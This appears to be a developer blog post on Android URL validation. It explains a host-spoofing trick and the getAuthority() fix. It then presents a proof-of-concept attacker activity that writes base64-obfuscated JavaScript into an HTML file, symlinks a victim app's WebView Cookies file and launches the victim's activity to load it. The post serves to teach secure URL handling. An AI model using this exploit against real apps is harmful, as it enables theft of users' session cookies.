In the previous blog, Prefer java.net.URI than android.net.Uri, that introduced security issue we found because of android.net.Uri doesn’t recognize \
as /
. However, even using URI is not secure enough to verify this URL is valid or not.
A hierarchical URI is subject to further parsing according to the syntax
[scheme:][//authority][path][?query][#fragment]
And a server-based authority component of a hierarchical URI is according to the familiar syntax
[user-info@]host[:port]
For example
String url = “http://fack.website\\\\@tw.buy.yahoo.com/fashionbuy";
Uri.parse(url).getHost()
will return tw.buy.yahoo.com, which is valid in our app, so we might unsafely webView.loadUrl(url)
or other executions with this trick.
It’s easy to protect by this attack by using getAuthority()
that returns fack.website%5C%5C@tw.buy.yahoo.com, and we can verify that is not our domain and discard it.
Theft of file with cookies via XSS
Why should we improve the way how to validate the URL? For example,
private String setCookieFile;
private String symlinkFile;
private static final String VICTIM_PACKAGE = ...;
private static final String VICTIM_ACTIVITY = ...;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setCookieFile = getRoot() + "/setCookie.html";
symlinkFile = getRoot() + "/symlink.html";
payloadFile();
symlink(); grantReadRecursive(new File(getRoot()));
Intent intent = new Intent();
intent.setClassName(VICTIM_PACKAGE, VICTIM_ACTIVITY);
// If hacker found a way let how your activity handle intend to open in-app webview
intent.putExtra("intent_content", "{\"content\":{\"uri\":\"file:\\/\\/{your valid website}" + setCookieFile.replace("/", "\\/") + "\"}}");
startActivity(intent);
}
void payloadFile() {
try {
PrintWriter writer = new PrintWriter(new File(setCookieFile));
writer.println("<h1>this is theft</h1><script>"); writer.println("eval(atob('ZG9jdW1lbnQuY29va2llID0gInggPSA8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiZXZhbChhdG9iKCdkbUZ5SUdsdFp5QTlJR1J2WTNWdFpXNTBMbU55WldGMFpVVnNaVzFsYm5Rb0ltbHRaeUlwT3dwcGJXY3VjM0pqSUQwZ0ltaDBkSEE2THk5aVlYTmxOalF1Y25VdmQyOTNMbXB3Wno5NmFHczlJaUFySUdWdVkyOWtaVlZTU1VOdmJYQnZibVZ1ZENoa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MGMwSjVWR0ZuVG1GdFpTZ2lhSFJ0YkNJcFd6QmRMbWx1Ym1WeVNGUk5UQ2s3JykpXCI+Ijs='));");
writer.println("setTimeout(\"location.href='file://{valid url}" + symlinkFile + "'\", 45000);");
writer.println("</script>");
writer.close();
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
void symlink() {
new File(symlinkFile).delete();
try {
Runtime.getRuntime().exec("ln -s /data/data/" + VICTIM_PACKAGE + "/app_webview/Cookies " + symlinkFile).waitFor();
}
catch (Exception e) {
throw new RuntimeException(e);
}
}
String getRoot() {
return "/data/data/" + getPackageName();
}
private void grantReadRecursive(File dist) {
dist.setReadable(true, false);
if(dist.isDirectory()) {
for(File child : dist.listFiles()) {
grantReadRecursive(child);
}
}
}